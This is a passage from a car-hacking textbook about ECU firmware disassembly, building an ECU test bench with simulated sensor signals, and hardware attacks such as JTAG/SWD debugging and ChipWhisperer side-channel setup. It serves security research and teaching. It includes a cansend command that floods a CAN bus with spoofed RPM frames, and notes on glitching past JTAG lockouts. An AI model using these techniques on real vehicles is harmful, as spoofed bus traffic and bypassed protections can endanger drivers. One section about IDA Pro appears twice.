enough: all addresses are above the 0x8000 entry point specified. Notice 
that the reset vector (0xFFFE, RES_vector) has a pointer to the RESET_entry 
at 0xBE6D.

Figure 6-15: Disassembled vector table

We can disassemble the code at 0xBE6D for the reset vector, which is 
also the entry point for code. In Figure 6-16, we see a routine, RESET_entry, 
that looks like it wipes a chunk of RAM. This is a plausible part of the initial 
reset sequence because often when booting, firmware will initialize the data 
region to all 0s.
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Figure 6-16: Reset vector disassembly

We’ve taken this example as far as obtaining a disassembled binary 
image and looking for basic sanity. Now, for the hard part: following the 
code, breaking it into routines, and trying to figure out how it works. 

Interactive Disassemblers
As of this writing, IDA Pro is the most popular interactive disassembler avail-
able. It performs the same tasks as the simple disassembler just discussed, 
and more. Specifically, IDA Pro names registers and variables; once IDA Pro 
identifies and names a variable, or memory address—for instance, $FC50–
RPM—it gives all references to that variable within the code a descriptive 
name rather than a less-recognizable plain hex address. IDA Pro also graphs 
code to visualize program flow. 

One of the advantages of IDA Pro is that it’s programmable to allow 
additional opcodes for customizing automotive processors and plugins for 
further processing disassembled code (for example, decompiling assembly 
into higher language code); it also lets you use structs, unions, classes, and 
other user-defined data types. 

Lastly, IDA Pro supports more embedded platforms out of the box than 
just about any other disassembler currently available.

You don’t necessarily need these functions to successfully analyze code, 
but they make things substantially easier. Figures 6-17 and 6-18 are screen-
shots from real code analysis with IDA Pro. Thanks to Matt Wallace for gra-
ciously posting these examples in a public forum. 

The user in Figure 6-18 obtained Acura NSX ECU firmware through a 
combination of hardware-hacking approaches, took the code apart, ana-
lyzed it using IDA Pro, and rewrote it. Next, the user determined the nec-
essary functions to log data from the ECU and alter its operation. The 
result allowed the user to use forced induction—that is, turbochargers 
and superchargers—with a factory computer; this would have been impos-
sible without ECU modification.
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Figure 6-16: Reset vector disassembly

We’ve taken this example as far as obtaining a disassembled binary 
image and looking for basic sanity. Now, for the hard part: following the 
code, breaking it into routines, and trying to figure out how it works. 

Interactive Disassemblers
As of this writing, IDA Pro is the most popular interactive disassembler avail-
able. It performs the same tasks as the simple disassembler just discussed, 
and more. Specifically, IDA Pro names registers and variables; once IDA Pro 
identifies and names a variable, or memory address—for instance, $FC50–
RPM—it gives all references to that variable within the code a descriptive 
name rather than a less-recognizable plain hex address. IDA Pro also graphs 
code to visualize program flow. 

One of the advantages of IDA Pro is that it’s programmable to allow 
additional opcodes for customizing automotive processors and plugins for 
further processing disassembled code (for example, decompiling assembly 
into higher language code); it also lets you use structs, unions, classes, and 
other user-defined data types. 

Lastly, IDA Pro supports more embedded platforms out of the box than 
just about any other disassembler currently available.

You don’t necessarily need these functions to successfully analyze code, 
but they make things substantially easier. Figures 6-17 and 6-18 are screen-
shots from real code analysis with IDA Pro. Thanks to Matt Wallace for gra-
ciously posting these examples in a public forum. 

The user in Figure 6-18 obtained Acura NSX ECU firmware through a 
combination of hardware-hacking approaches, took the code apart, ana-
lyzed it using IDA Pro, and rewrote it. Next, the user determined the nec-
essary functions to log data from the ECU and alter its operation. The 
result allowed the user to use forced induction—that is, turbochargers 
and superchargers—with a factory computer; this would have been impos-
sible without ECU modification.
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Figure 6-18: IDA diagram of code for checking fuel injectors on NSX ECU



ECU Hacking   113

Summary
Because hacking on the ECU often involves processors that are smaller 
than those used in more powerful modern devices, such as cell phones, 
the tools used for reversing the firmware differ for each target. By using a 
combination of techniques, such as data visualization to locate tables, and 
by reversing the firmware directly, you can identify the areas you’re inter-
ested in modifying. The methods discussed in this chapter are techniques 
commonly used by performance tuners to adjust how a vehicle handles fuel 
efficiency. All can be used to unlock features hidden in the code of your 
vehicle. We’ll look at performance tuning in more detail in Chapter 13.





7
B u i l d i ng   and    Us  i ng   

E C U  T est    B enches    

An ECU test bench, like the one shown 
in Figure 7-1, consists of an ECU, a power 

supply, an optional power switch, and an 
OBD-II connector. You can also add an IC or 

other CAN-related systems for testing, but just build-
ing a basic ECU test bench is a great way to learn 
the CAN bus and how to create custom tools. In this 
chapter, we’ll walk step by step through the process of 
building a test bench for development and testing.
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The Basic ECU Test Bench
The most basic test bench is the device that you want to target and a 
power supply. When you give an ECU the proper amount of power, 
you can start performing tests on its inputs and communications. For 
example, Figure 7-1 shows a basic test bench containing a PC power sup-
ply (left) and an ECU (right).

OBD-II Connector

Power Supply

ECU

Figure 7-1: A simple ECU test bench

However, you’ll often want to at least add some components or ports to 
make the test bench easier to use and operate. To make it easier to turn the 
device on and off, you can add a switch to the power supply. An OBD port 
allows for specialized mechanics tools to communicate with the vehicle’s 
network. In order for that OBD port to fully function, we need to expose 
the vehicle’s network wires from the ECU to the OBD port.

Finding an ECU
One place to find an ECU is, of course, at the junkyard. You’ll typically find 
the ECU behind a car’s radio in the center console or behind the glove box. 
If you’re having trouble finding it, try using the massive wiring harness to 
trace back to the ECU. When pulling one out yourself (it should cost only 
about $150), be sure to pull it from a vehicle that supports CAN. You can 
use a reference website such as http://www.auterraweb.com/aboutcan.html to 
help you identify a target vehicle. Also, make sure you leave at least a pig-
tail’s worth of wiring when you remove the ECU; this will make it easier to 
wire up later.

If you’re not comfortable pulling devices out of junked cars, you can 
order an ECU online at a site like car-part.com. The cost will be a bit higher 
because you’re paying for someone else to get the part and ship it to you. Be 
sure that the ECU you buy includes the wire bundles. 

http://www.auterraweb.com/aboutcan.html
car-part.com
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N O T E 	 One downside to buying an ECU online is that it may be difficult to acquire parts 
from the same car if you need multiple parts. For instance, you may need both the 
body control module (BCM) and the ECU because you want to include keys and the 
immobilizer is in the BCM. In this case, if you mix and match from two different 
vehicles, the vehicle won’t “start” properly.

Instead of harvesting or buying a used ECU, you could also use a pre-
built simulator, like the ECUsim 2000 by ScanTool (see Figure 7-2). A simu-
lator like ECUsim will cost around $200 per protocol and will support only 
OBD/UDS communications. Simulators can generate faults and MIL lights, 
and they include fault knobs for changing common vehicle parameters, 
such as speed. Unless you’re building an application that uses only UDS 
packets, however, a simulator probably isn’t the way to go.

Figure 7-2: ECUsim OBD simulator

Dissecting the ECU Wiring
Once you have all of the parts, you’ll need to find the ECU’s wiring diagram 
to determine which wires you need to connect in order to get it to work. Visit 
a website such as ALLDATA (http://www.alldata.com/) or Mitchell 1 (http://
mitchell1.com/main/) to get a complete wiring diagram. You’ll find that off-the-
shelf service manuals will sometimes have wiring diagrams, but they’re often 
incomplete and contain only common repair areas. 

Wiring diagrams aren’t always easy to read, mainly because some com-
bine numerous small components (see Figure 7-3). Try to mentally break 
down each component to get a better idea of which wires to focus on.

http://www.alldata.com/
http://mitchell1.com/main/
http://mitchell1.com/main/
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Figure 7-3: Example of an ECU wiring diagram

Pinouts

You can get pinouts for the ECUs on several different vehicles from http://
www.innovatemotorsports.com/resources/ecu_pinout.php and from commercial 
resources like ALLDATA and Mitchell 1. Books like the Chilton auto repair 
manuals include block diagrams, but you’ll find that they typically cover 
only the most common repair components, not the entire ECU. 

Block Diagrams

Block diagrams are often easier to read than wiring diagrams that show 
all components on the same sheet. Block diagrams usually show the wir-
ing for only one component and offer a higher-level overview of the main 
components, whereas schematics show all the circuitry details. Some block 
diagrams also include a legend showing which connector block the diagram 
refers to and the connectors on that module; you’ll typically find these in 
the corner of the block diagram (see Table 7-1).

Table 7-1: Example Connector Legend

CONN ID Pin count Color

C1  68 WH

C2 68 L-GY

C3 68 M-GY

C4 12 BK

http://www.innovatemotorsports.com/resources/ecu_pinout.php
http://www.innovatemotorsports.com/resources/ecu_pinout.php
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The legend should give the connector number, its number pin count, 
and the color. For instance, the line C1 = 68 WH in Table 7-1 means that 
the C1 connector has 68 pins and is white. L-GY probably means light gray, 
and so on. A connector number like C2-55 refers to connector 2, pin 55. 
The connectors usually have a number on the first and last pin in the row.

Wiring Things Up
Once you have information on the connector’s wiring, it’s time to wire 
it up. Wire the CAN to the proper ports on the connector, as discussed 
in “OBD-II Connector Pinout Maps” on page 31. When you provide 
power—a power supply from an old PC should suffice—and add a CAN 
sniffer, you should see packets. You can use just a simple OBD-II scan tool 
that you can pick up at any automotive store. If you have everything wired 
correctly, the scan tool should be able to identify the vehicle, assuming that 
your test bench includes the main ECU. 

N O T E 	 Your MIL, or engine light, will most likely be reported as on by the scan tool/ECU.

If you’ve wired everything but you still don’t see packets on your CAN 
bus, you may be missing termination. To address this problem, start by add-
ing a 120-ohm resistor, as a CAN bus has 120-ohm resistors at each end of 
the bus. If that doesn’t work, add a second resistor. The maximum missing 
resistance should be 240 ohms. If the bus still isn’t working, then recheck 
your wires and try again.

N O T E 	 A lot of components communicate with the ECU in a simple manner, either via set 
digital signals or through analog signals. Analog signals are easy to simulate with a 
potentiometer and you can often tie a 1 kilohm potentiometer to the engine temp and 
fuel lines to control them.

Building a More Advanced Test Bench
If you’re ready to take your car hacking research further, consider building 
a more advanced ECU test bench, like the one shown in Figure 7-4.

This unit combines an ECU with a BCM because it also has the original 
keys to start the vehicle. Notice that the optional IC has two 1 kilohm poten-
tiometers, or variable resistors, on the lower left side, both of which are tied 
to the engine temperature and fuel lines. We use these potentiometers to 
generate sensor signals, as discussed in the following section. This particu-
lar test bench also includes a small MCU that allows you to simulate sending 
crankshaft and camshaft signals to the ECU. 



120   Chapter 7

MCU ECU Power Supply

Instrument Cluster
Potentiometers

Figure 7-4: More complex test bench

A more complex unit like the one in Figure 7-4 makes it trivial to deter-
mine CAN traffic: just load a sniffer, adjust the knob, and watch for the pack-
ets to change. If you know which wires you’re targeting and the type of input 
they take, you can easily fake signals from most components.

Simulating Sensor Signals
As I mentioned, you can use the potentiometers in this setup to simulate 
various vehicle sensors, including the following:

•	 Coolant temperature sensor

•	 Fuel sensor

•	 Oxygen sensors, which detect post-combustion oxygen in the exhaust

•	 Throttle position, which is probably already a potentiometer in the 
actual vehicle

•	 Pressure sensors
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If your goal is to generate more complex or digital signals, use a small 
microcontroller, such as an Arduino, or a Raspberry Pi. 

For our test bench, we also want to control the RPMs and/or speedom-
eter needle. In order to do this, we need a little background on how the 
ECU measures speed.

Hall Effect Sensors
Hall effect sensors are often used to sense engine speed and crankshaft 
position (CKP) and to generate digital signals. In Figure 7-5, the Hall 
effect sensor uses a shutter wheel, or a wheel with gaps in it, to measure the 
rotation speed. The gallium arsenate crystal changes its conductivity when 
exposed to a magnetic field. As the shutter wheel spins, the crystal detects 
the magnet and sends a pulse when not blocked by the wheel. By measuring 
the frequency of pulses, you can derive the vehicle speed.

MagnetGallium Arsenate
Crystal

Shutter Wheel

Figure 7-5: Shutter wheel diagram for Hall effect sensor

You can also use the camshaft timing sprocket to measure speed. When 
you look at the camshaft timing sprocket, the magnet is on the side of the 
wheel (see Figure 7-6).

Magnet

Hall effect sensor

Figure 7-6: Camshaft timing sprocket
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Using a scope on the signal wire shows that the Hall effect sensor pro-
duces a square wave. Typically, there are three wires on the camshaft sen-
sor: power, ground, and sensor. Power is usually 12V, but the signal wire 
typically operates at 5V back to the ECM. Camshaft sensors also come as 
optical sensors, which work in a similar fashion except an LED is on one 
side and a photocell is on the other.

You can gauge full rotation timing with a missing tooth called a trigger 
wheel or with a timing mark. It’s important to know when the camshaft has 
made a full rotation. An inductive camshaft sensor produces a sine wave 
and will often have a missing tooth to detect full rotation.

Figure 7-7 shows the camshaft sensor repeating approximately every 
2 milliseconds. The jump or a gap you see in the wave at around the 
40-millisecond mark occurs when the missing tooth is reached. The loca-
tion of that gap marks the point at which the camshaft has completed a 
full rotation. In order to fake these camshaft signals into the ECU test 
bench, you’d need to write a small sketch for your microcontroller. When 
writing microcontroller code to mimic these sensors, it’s important to 
know what type of sensor your vehicle uses so that you’ll know whether to 
use a digital or analog output when faking the teeth.
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Figure 7-7: Camshaft sensor signals under a scope
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Simulating Vehicle Speed
Now, we’ll build a test bench to simulate vehicle speed. We’ll use this test 
bench together with the IC shown in Figure 7-4 to pull a vehicle’s VIN 
via the OBD-II connector. This will give us the exact year, make, model, 
and engine type of the vehicle. (We looked at how to do this manually in 
“Unified Diagnostic Services” on page 54.) Table 7-2 shows the results.

Table 7-2: Vehicle Information

VIN Model Year Make Body Engine

1G1ZT53826F109149 Malibu 2006 Chevrolet Sedan 
4 Door

3.5L V6 OHV 12V

Once we know a vehicle’s year of manufacture and engine type, we can 
fetch the wiring diagram to determine which of the ECU wires control the 
engine speed (see Figure 7-8). Then, we can send simulated speed data to 
the ECU in order to measure effects. Using wiring diagrams to simulate real 
engine behavior can make it easy to identify target signals on the CAN bus.

Pin 27 = Engine Speed

C2

Figure 7-8: Wiring diagram showing the engine speed pin
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The wiring diagram in Figure 7-8 shows how you can trace the wire 
from the CKP sensor so that connector C2, pin 27 receives the engine 
speed from the crankshaft sensor. Having identified this pin in the wiring 
diagram, we locate the corresponding wire on the ECU. We can connect 
this wire to any digital IO pin on an Arduino. In this example, we’ll use 
pin 2 and then add a potentiometer to A0 to control the speed of the CKP 
sensor’s “teeth” going to the ECM. Pin 2 will send output to C2, pin 27. 

In order to simulate engine speed sent from the CKP sensor, we code 
up an Arduino sketch to send high and low pulses with a delay interval 
mapped to the potentiometer position (see Listing 7-1).

int ENG_SPD_PIN = 2;
long interval = 500;
long previousMicros = 0;
int state = LOW;

// the setup routine runs once when you press reset
void setup() {
  pinMode(ENG_SPD_PIN, OUTPUT);
}

// the loop routine repeats forever
void loop() {
  unsigned long currentMicros = micros();
  
  // read the input on analog pin 0
  int sensorValue = analogRead(A0);
  interval = map(sensorValue, 0, 1023, 0, 3000);
  
  if(currentMicros - previousMicros > interval) {
    previousMicros = currentMicros;
 
    if (state == LOW)
      state = HIGH;
    else
      state = LOW;
   
    if (interval == 0)
      state = LOW;  // turning the pot all the way down turns it "off"

    digitalWrite(ENG_SPD_PIN, state);  
  }
}

Listing 7-1: Arduino sketch designed to simulate engine speed

Now, we upload this sketch to the Arduino, power up the test bench, 
and when we turn the knob on the potentiometer, the RPM dial moves on 
the IC. In Figure 7-9, the second line of the cansniffer traffic shows bytes 2 
and 3—0x0B and 0x89—changing as we rotate the potentiometer knob for 
Arbitration ID 0x110 (the column labeled ID).
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Figure 7-9: cansniffer identifying RPMs

N O T E 	 0x0B and 0x89 don’t directly translate into the RPMs; rather, they’re shorthand. In 
other words, if you’re going to 1000 RPMs, you won’t see the hex for 1000. When you 
query an engine for RPMs, the algorithm to convert these two bytes into RPMs is com-
monly the following:

( )A B� 256
4

�

A is the first byte and B is the second byte. If you apply that algorithm to what’s 
shown in Figure 7-9 (converted from hex to decimal), you get this:

( )11 256 137
4

� �
� 738.25 RPMs

You can simplify this method to taking 0xB89, which is 2953 in decimal form. 
When you divide this by 4, you get 738.25 RPMs.

When this screenshot was taken, the needle was idling a bit below the 
1 on the RPM gauge, so that’s probably the same algorithm. (Sometimes 
you’ll find that the values in the true CAN packets don’t always match the 
algorithms used by off-the-shelf diagnostic tools using the UDS service, but 
it’s nice when they do.)

To verify that arbitration ID 0x110 with bytes 2 and 3 controls the RPM, 
we’ll send our own custom packet. By flooding the bus with a loop that 
sends the following, we’ll peg the needle at max RPMs.

$ cansend slcan0 110#00ffff3500380000

While this method works and, once connected, takes only a few seconds 
to identify the CAN packet responsible for RPMs, there are still some visible 
issues. Every so often a CAN signal shows up that resets the values to 00 00 
and stops the tachometer from moving. So while the ECM is fairly certain 
the crankshaft is spinning, it’s detecting a problem and attempting to reset.

You can use the ISO-TP tools discussed in Chapter 3 to pull data. In 
two different terminals, we can check whether there was a diagnostic code. 
(You can also use a scan tool.) 

In one terminal, enter the following:

$ isotpsniffer -s 7df -d 7e8 slcan0 
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And in another terminal, send this command:

$ echo "03" |  isotpsend -s 7DF -d 7E8 slcan0

You should see this output in the first terminal:

 slcan0  7DF  [1]  03  - '.' 
 slcan0  7E8  [6]  43 02 00 68 C1 07  - 'C..h..' 

Looks like we have a DTC set. Querying PID 0x03 returned a 4-byte DTC 
(0x0068C107). The first two bytes make up the standard DTC (0x00 0x68). 
This converts to P0068, which the Chilton manual refers to as “throttle body 
airflow performance.” A quick Google search will let you know that this is 
just a generic error code that results from a discrepancy between what the 
PCM thinks is going on and what data it’s getting from the intake manifold. 
If we wanted to spoof that data as well, we’d need to spoof three additional 
sensors: the MAF sensor, the throttle position, and the manifold air pres-
sure (MAP). Fixing these may not actually fix our problem, though. The 
PCM may continue to think the vehicle is running smoothly, but unless you 
really care about fudging all the data, you may be able to find other ways to 
trick the signals you want out of the PCM without having to be immune to 
triggering DTC faults.

If you don’t want to use an Arduino to send signals, you can also buy 
a signal generator. A professional one will cost at least $150, but you can 
also get one from SparkFun for around $50 (http://www.sparkfun.com/
products/11394/). Another great alternative is the JimStim for Megasquirt. 
This can be purchased as a kit or fully assembled for $90 from DIYAutoTune 
(http://www.diyautotune.com/catalog/jimstim-15-megasquirt-stimulator-wheel​
-simulator-assembled-p-178.html).

Summary
In this chapter you learned how to build an ECU test bench as an afford-
able solution to safe vehicle security testing. We went over where you can 
get parts for building a test bench and how to read wiring diagrams so you 
know how to hook those parts up. You also learned how to build a more 
advanced test bench that can simulate engine signals, in order to trick com-
ponents into thinking the vehicle is present.

Building a test bench can be a time-consuming process during your 
initial research, but it will pay off in the end. Not only is it safer to do your 
testing on a test bench, but these units are also great for training and can 
be transported to where you need them.

http://www.sparkfun.com/products/11394/
http://www.sparkfun.com/products/11394/
http://www.diyautotune.com/catalog/jimstim-15-megasquirt-stimulator-wheel-simulator-assembled-p-178.html
http://www.diyautotune.com/catalog/jimstim-15-megasquirt-stimulator-wheel-simulator-assembled-p-178.html
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A ttack     i ng   E C Us   and    O ther    

E m bedded       S y ste   m s

The ECU is a common target of reverse 
engineering, sometimes referred to as chip 

tuning. As mentioned in Chapter 7, the 
most popular ECU hack is modifying the fuel 

map to alter the balance of fuel efficiency and per-
formance in order to give you a higher-performance 
vehicle. There’s a large community involved with these 
types of modifications, and we’ll go into more detail 
on firmware modifications like this in Chapter 13. 

This chapter will focus on generic embedded-system methods of attack 
as well as side-channel attacks. These methodologies can be applied to any 
embedded system, not just to the ECU, and they may even be used to mod-
ify a vehicle with the help of aftermarket tools. Here, we’ll focus on debug-
ging interfaces for hardware as well as performing side-channel analysis 
attacks and glitching attacks. 
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N O T E 	 To get the most out of this chapter, you should have a good understanding of basic 
electronics, but I’ve done my best to explain things within reason.

Analyzing Circuit Boards
The first step in attacking the ECU or any embedded system in a vehicle is 
to analyze the target circuit board. I touched upon circuit board analysis in 
Chapter 7, but in this chapter, I’ll go into more detail about how electronics 
and chips work. I’ll introduce you to techniques that can be applied to any 
embedded system in the vehicle.

Identifying Model Numbers
When reversing a circuit board, first look at the model numbers of the 
microcontroller chips on the board. These model numbers can help you 
track down valuable information that can be key to your analysis. Most 
of the chips you’ll find on vehicle circuit boards are generic—companies 
rarely make custom ones—so an Internet search of a chip’s model number 
can provide you with the complete data sheet for that chip.

As mentioned in Chapter 7, you’ll sometimes run into custom ASIC 
processors with custom opcodes, especially in older systems, which will be 
harder to reprogram. When you encounter older chips like these, remove 
them from the board and plug them in to an EPROM programmer in order 
to read their firmware. You should be able to reprogram modern systems 
directly via debugging software, like JTAG.

Once you locate a data sheet, try to identify the microcontrollers and 
memory locations on each chip to determine how things are wired together 
and where to find diagnostic pins—a potential way in.

Dissecting and Identifying a Chip
If you can’t find a model number, sometimes all you’ll have to go on is 
the chip’s logo (after a while, you’ll find that you start to recognize chip 
logos) and a few of its product codes. The logo shown in Figure 8-1 is 
for STMicroelectronics. At the top of the chip is the model number—in 
this case, STM32F407—which may be hard to read because it’s engraved. 
Often, a light-up magnifier or a cheap USB microscope can prove very 
handy in reading these markings. Go to http://www.st.com/ to find the data 
sheet for the STM32F series chips, specifically the 407 variety. Much like 
VIN numbers, model numbers are often broken down into sections repre-
senting model number and different variations. There’s no standard for 
how to break down these numbers, however, and every manufacturer will 
represent their data differently.

http://www.ST.com/
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Model Number

Code

Logo

Pin 1 Dimple

Figure 8-1: STM32 chipset identification

Below the chip’s model number is the code—in this case, VGT6—which 
tells you the specific features, such as USB support, available on the chip. 
If you look up the model number in conjunction with the ST code, you’ll 
learn that the STM32F407Vx series is an ARM Cortex M4 chip with sup-
port for Ethernet, USB, two CANs, and LIN as well as JTAG and Serial Wire 
Debug.

To determine the function of the various pins, scan the data sheet to 
find the package pinout diagrams, and look for the package that matches 
yours for pin count. For example, as you can see in Figure 8-1, each side of 
the chip has 25 pins for a total of 100, which matches the LQFP100 pinout 
in the data sheet shown in Figure 8-2.

Each chip will usually have a dot or dimple at pin 1 (see Figure 8-1), 
and once you identify pin 1, you can follow the pinout to determine each 
pin’s function. Sometimes you’ll find two dimples, but one should be 
slightly more pronounced. 

Sometimes pin 1 on a chip is indicated by a cut-off corner. If you find 
nothing on a chip that allows you to identify pin 1, look for things you 
can identify. For example, if another chip on the board is a common CAN 
transceiver, you could use a multitool to trace the lines to figure out which 
pins it connects to. You could then reference the data sheet to see which 
side of the chip contains these CAN pins. To do this, put your multimeter 
in continuity mode. Once in continuity mode, it will beep if you touch both 
pins to the same trace, indicating that they’re connected. Once you’re able 
to identify just one pin, you can use that information together with the pin-
out to deduce the pin layout.
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Figure 8-2: STM32F4 data sheet pinout

Debugging Hardware with JTAG and Serial Wire Debug
You can use a variety of debugging protocols to debug chips just as you do 
software. To determine which protocol your target chip supports, you’ll 
need to use the chip’s data sheet. You should be able to use a chip’s debug-
ging port to intercept its processing and download and upload modifica-
tions to the chip’s firmware.

JTAG
JTAG is a protocol that allows for chip-level debugging and downloading 
and uploading firmware to a chip. You can locate the JTAG connections on 
a chip using its data sheet. 
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JTAGulator

You’ll often find pads on a chip’s circuit board that are broken out from 
the chip itself and that may give you access to the JTAG pins. To test the 
exposed pads for JTAG connections, use a tool like JTAGulator, shown in 
Figure 8-3. Plug all of the chip’s exposed pins in to the JTAGulator, and set 
the voltage to match the chip. JTAGulator should then find any JTAG pins 
and even walk the JTAG chain—a method of linking chips over JTAG—to 
see whether any other chips are attached. 

Figure 8-3: JTAGulator with a Bus Pirate cable

JTAGulator supports either screw terminals or the use of a Bus Pirate 
cable (as in Figure 8-3) for probing. Both the JTAGulator and the Bus 
Pirate cable use a serial interface to configure and interact with a chip.

Debugging with JTAG

You can debug a chip with JTAG using just two wires, but it’s more common 
to use four or five pin connections. Of course, finding the JTAG connection 
is only the first step; usually, you’ll need to overcome additional protections 
that prevent you from just downloading the chip’s firmware in order to do 
anything interesting.

Developers will disable JTAG firmware via either software or hard-
ware. When disabling JTAG in software, the programmer sets the JTD bit, 
which is usually enabled twice via software during runtime. If the bit it isn’t 
called twice within a short time, it’s not set. It’s possible to defeat a software 
protection like this by using a clock or power-glitching attack to skip at least 
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one of these instructions. (We’ll discuss glitching attacks later in “Fault 
Injection” on page 148.)

The other way to disable JTAG on a chip is to attempt to permanently 
disable programming by setting the JTAG fuse—OCDEN and JTAGEN—and 
thereby disabling both registers. This is harder to bypass with glitch attacks, 
though voltage glitching or the more invasive optical glitches may succeed. 
(Optical glitches entail decapping the chip and using a microscope and a 
laser, so they’re very costly. We won’t be covering them in this book.)

Serial Wire Debug
Although JTAG is the most commonly used hardware debugging protocol, 
some microcontrollers—such as the STM32F4 series, which is commonly 
used in automotive applications because it has onboard CAN support—
primarily use Serial Wire Debug (SWD). While the ST32F4 series of ICs can 
support JTAG, they’re often wired to support only SWD because SWD 
requires only two pins instead of the five used for JTAG. SWD also allows 
overlapping of the JTAG pins, so these chips may support both JTAG and 
SWD by using the pins labeled TCK and TMS. (These pins are labeled 
SWCLK and SWIO in the data sheet.) When debugging ST chips, you can 
use a tool like ST-Link to connect, debug, and reflash the processor. ST-Link 
is cheap (about $20) compared to some of its JTAG counterparts. You can 
also use a STM32 Discovery board.

The STM32F4DISCOVERY Kit

The STM32F4DISCOVERY kit (sold by STM) is another tool you can use 
to debug and program these chips. These are actually developer boards 
with their own programmer. They cost about $15 and should be in your 
car hacking tool set. The benefit of using the Discovery kit is that it’s both 
a cheap programmer and a development board that you can use to to test 
modifications to the chip’s firmware.

In order to use the Discovery kit as a generic programmer, remove 
the jumpers from the pins labeled ST-Link, and then connect the six pins 
on the opposite side labeled SWD (see Figure 8-4). Pin 1 starts next to the 
white dot on the SWD connector. 

Table 8-1 shows the pinout.

Table 8-1: Pinout for the STM32F4DISCOVERY kit

STM32 chip STM32F4DISCOVERY kit

VDD_TARGET Pin 1

SWLCK Pin 2

GND Pin 3

SWDIO Pin 4

nRESET Pin 5

SWO Pin 6
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Remove
Jumpers

Figure 8-4: Programming a STM32 chip via the STM32F4DISCOVERY kit

You’ll most likely need to provide power to the target device, but 
instead of using pin 1 on the SWD connector, use the 3V pin from the 
Discovery portion of the board, as shown in Figure 8-4. (Notice in the pin-
out that the Discovery kit doesn’t use all six pins for SWD; pins nRESET 
and SWO are optional.)

Once you’re connected, you’ll most likely want to read and write to the 
firmware. If you’re running Linux, you can get the ST-Link from GitHub at 
https://github.com/texane/stlink/. Once you have those utilities installed, you’ll 
not only be able to read and write to the chip’s flash memory, but you can 
also start a gdbserver to work as a real-time debugger.

The Advanced User Debugger
Renesas is a popular automotive chipset used in ECUs (see Figure 8-5). It 
has its own implementation over JTAG called the Advanced User Debugger 
(AUD). AUD provides the same functionality as JTAG but with its own pro-
prietary interface. As with SWD, AUD requires an interface specific to it in 
order to communicate with Renesas chipsets.

https://github.com/texane/stlink/
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MCU

AUD

Figure 8-5: 2005 Acura TL ECU with Renesas SH MCU and AUD port

Nexus
Nexus from Freescale/Power Architecture (now NXP) is another proprietary 
JTAG interface. Like AUD and SWD, this in-circuit debugger requires its own 
device in order to interface with it. When dealing with Freescale chips, such 
as the MCP5xxx series, keep in mind that the debugger may be Nexus. 

The Nexus interface uses a dedicated set of pins that should be defined 
in the chipset’s data sheet. Look for the EVTI/O pins in the auxiliary port 
section of the data sheet.

Side-Channel Analysis with the ChipWhisperer
Side-channel analysis is another hardware attack used to bypass ECU and 
other microcontroller protections and to crack built-in cryptography. This 
type of attack takes advantage of various characteristics of embedded elec-
tronic systems instead of directly targeting specific hardware or software. 
Side-channel attacks take many forms, and some can cost anywhere from 
$30,000 to $100,000 to perform because they require specialized equip-
ment like electron microscopes. Expensive side-channel attacks like these 
are often invasive, meaning they’ll permanently alter the target. 

We’ll focus on simpler and cheaper side-channel attacks with the 
help of the ChipWhisperer, a noninvasive tool from NewAE Technologies 
(http://newae.com/chipwhisperer/). The ChipWhisperer is an open source 

http://newae.com/chipwhisperer/
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side-channel analysis tool and framework that costs just over $1,000—
considerably less than its non–open source counterparts, which typically 
start around $30,000. 

N O T E 	 It’s possible to accomplish the attacks I’ll discuss at less of a cost by building a special-
ized device, but the ChipWhisperer is the cheapest tool that covers all the main bases. 
Also, ChipWhisperer tutorials target open source designs, which makes them ideal for 
this book, since we can’t use examples from specific manufacturers due to copyright. I’ll 
integrate the NewAE tutorials throughout this chapter when demonstrating each attack.

The ChipWhisperer has an optional package that includes a target 
development board called the MultiTarget Victim Board (see Figure 8-6). 
This board is mainly used for demonstration and training, and we’ll use it 
as the target of our demos as well.

Figure 8-6: MultiTarget Victim Board

The MultiTarget Victim Board is basically three separate systems: an 
ATmega328, a XMEGA, and a smart card reader. (The ChipWhisperer can 
perform man-in-the-middle attacks on smart cards, but because cars don’t 
really use smart cards, we won’t cover that feature here.) 

By changing jumpers on the board, you can pass power to enable or dis-
able different systems, but be careful to enable only one section at a time, or 
you may short the board. Pay attention to the jumper settings before testing.

Installing the Software
First install the ChipWhisperer software. The following instructions are for 
Linux, but you can find detailed setup instructions for Windows at http://
www.newae.com/sidechannel/cwdocs/. 

http://www.newae.com/sidechannel/cwdocs/
http://www.newae.com/sidechannel/cwdocs/
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The ChipWhisperer software requires Python 2.7 and some additional 
Python libraries to run. First, enter the following code:

$ sudo apt-get install python2.7 python2.7-dev python2.7-libs python-numpy 
python-scipy python-pyside python-configobj python-setuptools python-pip git
$ sudo pip install pyusb-1.0.0b1

To get the ChipWhisperer software, you can either download a stable 
version as a ZIP file from the NewAE site or grab a copy from the GitHub 
repository, as shown here:

$ git clone git://git.assembla.com/chipwhisperer.git
$ cd chipwhisperer
$ git clone git://git.assembla.com/openadc.git

The second git command downloads OpenADC. The OpenADC 
board of the ChipWhisperer is the oscilloscope part, which measures volt-
age signals and is basically the heart of the ChipWhisperer system. Use 
the following commands to set up the software (you should be root in the 
ChipWhisperer directory):

$ cd openadc/controlsw/python
$ sudo python setup.py develop
$ cd software
$ sudo python setup.py develop

The hardware is already natively supported by Linux, but you should 
add a group for the normal user that you’ll test so that the user can have 
access to the device without needing root privileges. To allow non-root 
users to use the equipment, create a udev file, such as /etc/udev/rules.d/99​
-ztex.rules, and add the following to that file:

SUBSYSTEM=="usb", ATTRS{idVendor}=="04b4", ATTRS{idProduct}=="8613", 
MODE="0664", GROUP="plugdev"
SUBSYSTEM=="usb", ATTRS{idVendor}=="221a", ATTRS{idProduct}=="0100", 
MODE="0664", GROUP="plugdev"

Also, create a file for the AVR programmer called /etc/udev/rules.d/​
99-avrisp.rules:

SUBSYSTEM=="usb", ATTRS{idVendor}=="03eb", ATTRS{idProduct}=="2104", 
MODE="0664", GROUP="plugdev"

Now add yourself (you’ll need to log out and back in for these new per-
missions to take effect):

$ sudo usermod -a -G plugdev <YourUsername>
$ sudo udevadm control –reload-rules
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Connect the ChipWhisperer to your machine by plugging a mini-USB 
cable in to the side of the ChipWhisperer box. The green System Status light 
on the top should light up, and your ChipWhisperer should now be set up 
or at least in its unconfigured core. 

Prepping the Victim Board
To prep the Victim Board—or device under test (DUT), as it’s referred to in 
the ChipWhisperer documentation—download the AVR Crypto library 
(the library isn’t included with the ChipWhisperer framework by default 
due to export laws) by entering the following:

$ cd hardware/victims/firmware
$ sh get_crypto.sh

We’ll use the AVRDUDESS GUI to program our Victim Board. You can 
get AVRDUDESS from its GitHub repository at https://github.com/zkemble/
avrdudess/ or grab binaries from sites such as http://blog.zakkemble.co.uk/
